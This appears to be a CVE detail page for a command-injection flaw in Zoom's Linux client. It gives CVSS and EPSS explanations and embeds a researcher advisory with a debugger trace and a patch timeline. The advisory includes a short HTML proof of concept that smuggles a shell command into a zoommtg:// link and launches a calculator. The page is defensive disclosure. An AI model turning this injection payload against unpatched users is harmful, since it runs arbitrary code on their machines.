CVE-2017-15049 : Detail

CVE-2017-15049

8.8
/
High
OS Command Injection
A03-Injection
35.32%V3
Network
2017-12-19
14h00 +00:00
2017-12-20
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

The ZoomLauncher binary in the Zoom client for Linux before 2.0.115900.1201 does not properly sanitize user input when constructing a shell command, which allows remote attackers to execute arbitrary code by leveraging the zoommtg:// scheme handler.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43354

Publication date : 2017-12-17 23h00 +00:00
Author : Conviso
EDB Verified : Yes

[CONVISO-17-003] - Zoom Linux Client Command Injection Vulnerability (RCE) 1. Advisory Information Conviso Advisory ID: CONVISO-17-003 CVE ID: CVE-2017-15049 CVSS v2: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C) Date: 2017-10-01 2. Affected Components Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be vulnerable. 3. Description The binary /opt/zoom/ZoomLauncher is vulnerable to command injection because it uses user input to construct a shell command without proper sanitization. The client registers a scheme handler (zoommtg://) and this makes possible to trigger the vulnerability remotely. 4. Details gef> r '$(uname)' Starting program: /opt/zoom/ZoomLauncher '$(uname)' ZoomLauncher started. cmd line: $(uname) $HOME = /home/user Breakpoint 5, 0x0000000000401e1f in startZoom(char*, char*) () gef> x/3i $pc => 0x401e1f <_Z9startZoomPcS_+744>: call 0x4010f0 <strcat@plt> 0x401e24 <_Z9startZoomPcS_+749>: lea rax,[rbp-0x1420] 0x401e2b <_Z9startZoomPcS_+756>: mov rcx,0xffffffffffffffff gef> x/s $rdi 0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"" gef> x/s $rsi 0x7fffffffd750: "$(uname) " gef> c Continuing. export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom "$(uname) " Breakpoint 6, 0x0000000000401e82 in startZoom(char*, char*) () gef> x/3i $pc => 0x401e82 <_Z9startZoomPcS_+843>: call 0x401040 <system@plt> 0x401e87 <_Z9startZoomPcS_+848>: mov DWORD PTR [rbp-0x18],eax 0x401e8a <_Z9startZoomPcS_+851>: mov eax,DWORD PTR [rbp-0x18] gef> x/s $rdi 0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"$(uname) \"" --- RCE POC --- <html> <head> </head> <body> <h1>Zoom POC RCE</h1> <script> window.location = 'zoommtg://$(gnome-calculator${IFS}-e${IFS}1337)' </script> <body> </html> 5. Solution Upgrade to latest version. 6. Credits Ricardo Silva <[email protected]> Gabriel Quadros <[email protected]> 7. Report Timeline Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability. Set 28, 2017 - Vendor asked the report in the current channel. Set 28, 2017 - Conviso sent informations to reproduce the vulnerability. Set 28, 2017 - Conviso asked if they could reproduce it. Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team. Oct 5, 2017 - Vendor provided a patch candidate for testing. Oct 5, 2017 - Conviso pointed problems in the patch. Oct 11, 2017 - Vendor provided a patch candidate for testing. Oct 12, 2017 - Conviso pointed problems in the patch. Oct 23, 2017 - Conviso asked for status. Oct 27, 2017 - Conviso asked for status. Nov 1, 2017 - Conviso asked for status. Nov 3, 2017 - Vendor replied. Nov 6, 2017 - Conviso asked for status. Nov 6, 2017 - Vendor replied. Nov 9, 2017 - Conviso asked for status. Nov 13, 2017 - Conviso asked for status. Nov 15, 2017 - Conviso asked for status. Nov 16, 2017 - Vendor provided a patch candidate for testing. Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done. Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a sastifactory fix. Nov 30, 2017 - Vendor released the version 2.0.115900.1201 8. References https://zoom.us/download https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux 9. About Conviso Conviso is a consulting company specialized on application security. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement. For more information about our company and services provided, please check our website at www.conviso.com.br. 10. Copyright and Disclaimer The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

Products Mentioned

Configuraton 0

Zoom>>Zoom >> Version To (excluding) 2.0.115900.1201

References

https://www.exploit-db.com/exploits/43354/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2017/Dec/47
Tags : mailing-list, x_refsource_FULLDISC